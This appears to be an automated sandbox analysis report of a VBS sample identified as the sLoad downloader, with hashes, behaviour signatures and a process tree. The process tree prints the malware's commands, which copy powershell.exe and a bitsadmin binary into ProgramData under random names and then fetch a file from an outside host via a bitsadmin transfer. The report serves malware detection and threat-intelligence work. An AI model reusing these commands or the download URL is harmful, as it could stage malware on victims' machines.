Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-07-2024 21:04

General

  • Target

    2dcaf51516980adbe613009d1ca9764b_JaffaCakes118.vbs

  • Size

    9KB

  • MD5

    2dcaf51516980adbe613009d1ca9764b

  • SHA1

    fb554ddbcf9c2762af321927e5dde0bb47f38e24

  • SHA256

    a06d938815152198d177761698bdeb45ab3f5be509362fbc3957f87713f1b97f

  • SHA512

    4d63411921fc969f59ae9becdbdbc2e09aa292d4bb77c85c84208768df63afd44f09143096627e7694e50356ce5b967222d2bd3488e6ec599e84fb880282e30f

  • SSDEEP

    192:LGpSVqj1bng0JaWg8ogL5gplgkLDp+mE7E4QehSy0wfV331mbFV+vrrWGFD:LGpSVq5bng0XglAyjgkL1+mE7E4QeMyZ

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2dcaf51516980adbe613009d1ca9764b_JaffaCakes118.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3368
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aUnvnh.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\avhgCky*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1072
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aUnvnh.exe
        3⤵
          PID:2904
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\avhgCky*.exe
          3⤵
            PID:3380
        • C:\ProgramData\avhgCkyin.exe
          "C:\ProgramData\avhgCkyin.exe" /wrap /transfer kLmGBeCt https://analyzare.com/annalisa/CLCMNG70B49A801Q/dev.doc C:\ProgramData\dev.doc
          2⤵
          • Executes dropped EXE
          PID:4932

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\avhgCkyin.exe

        Filesize

        182KB

        MD5

        f57a03fa0e654b393bb078d1c60695f3

        SHA1

        1ced6636bd2462c0f1b64775e1981d22ae57af0b

        SHA256

        c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

        SHA512

        7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a